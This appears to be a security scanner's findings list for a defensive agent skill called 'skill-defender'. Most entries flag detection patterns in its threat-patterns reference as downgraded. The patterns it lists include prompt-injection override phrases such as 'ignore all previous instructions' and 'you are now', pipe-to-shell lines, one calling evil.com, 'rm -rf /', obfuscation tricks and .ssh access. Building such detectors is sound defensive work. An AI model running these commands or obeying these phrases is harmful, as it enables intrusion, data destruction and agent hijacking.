skill-defender

Prompt injection — tries to override agent instructions

references/threat-patterns.md · prose · downgraded · ignore all previous instructions

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

references/threat-patterns.md · prose · downgraded · curl ... \| sh

Pipe-to-shell pattern (wget | sh)

references/threat-patterns.md · prose · downgraded · wget ... \| sh

Pipe-to-python pattern — remote code execution risk

references/threat-patterns.md · prose · downgraded · curl https://evil.com/p.py \| python

Pipe to bash — executes piped content as shell commands

references/threat-patterns.md · prose · downgraded · | bash

Pipe to sh — executes piped content as shell commands

references/threat-patterns.md · prose · downgraded · | sh

Pipe to python — executes piped content as Python code

references/threat-patterns.md · prose · downgraded · | python3

Recursive delete from root or home — destructive command

references/threat-patterns.md · prose · downgraded · rm -rf /

Uses eval() — can execute arbitrary code

references/threat-patterns.md · prose · downgraded · eval(

Dynamic __import__('os') — Python OS command execution

references/threat-patterns.md · prose · downgraded · __import__('os')

Possible prompt injection — attempts to redefine agent identity

references/threat-patterns.md · prose · downgraded · You are now

Fake system prompt — attempts to inject instructions

references/threat-patterns.md · prose · downgraded · system: you are

Redefines agent role — prompt injection technique

references/threat-patterns.md · prose · downgraded · from now on, you are

HTTP request to bare IP address — common in malicious payloads

references/threat-patterns.md · prose · downgraded · http://192.168.1.100

Hex-encoded string — possible obfuscated payload

references/threat-patterns.md · prose · downgraded · \x72\x6d\x20\x2d\x72\x66

Python chr() concatenation — builds strings to evade detection

references/threat-patterns.md · prose · downgraded · chr(114)+chr(109)

Uses exec() — may execute shell commands

references/threat-patterns.md · prose · downgraded · exec(

subprocess execution — runs system commands from Python

references/threat-patterns.md · prose · downgraded · subprocess.call(

os.system/popen — direct OS command execution

references/threat-patterns.md · prose · downgraded · os.system(

subprocess with shell=True — command injection vector

references/threat-patterns.md · prose · downgraded · subprocess.call(...shell=True

References sudo — requests elevated privileges

references/threat-patterns.md · prose · downgraded · sudo

setuid — privilege escalation mechanism

references/threat-patterns.md · prose · downgraded · setuid

Accesses .ssh directory

references/threat-patterns.md · prose · downgraded · .ssh/

String.fromCharCode — can build strings to evade detection

references/threat-patterns.md · prose · downgraded · String.fromCharCode

Python urllib.request — network access

references/threat-patterns.md · prose · downgraded · urllib.request

POSTs data to external URL

references/threat-patterns.md · prose · downgraded · .post('https://

References agent memory files

references/threat-patterns.md · prose · downgraded · MEMORY.md

References tunneling service

references/threat-patterns.md · prose · downgraded · ngrok

Sets world-executable permissions

references/threat-patterns.md · prose · downgraded · chmod 777

Changes file ownership

references/threat-patterns.md · prose · downgraded · chown

Python os.environ.get — reads environment variable

scripts/scan_skill.py · prose · downgraded · os.environ.get(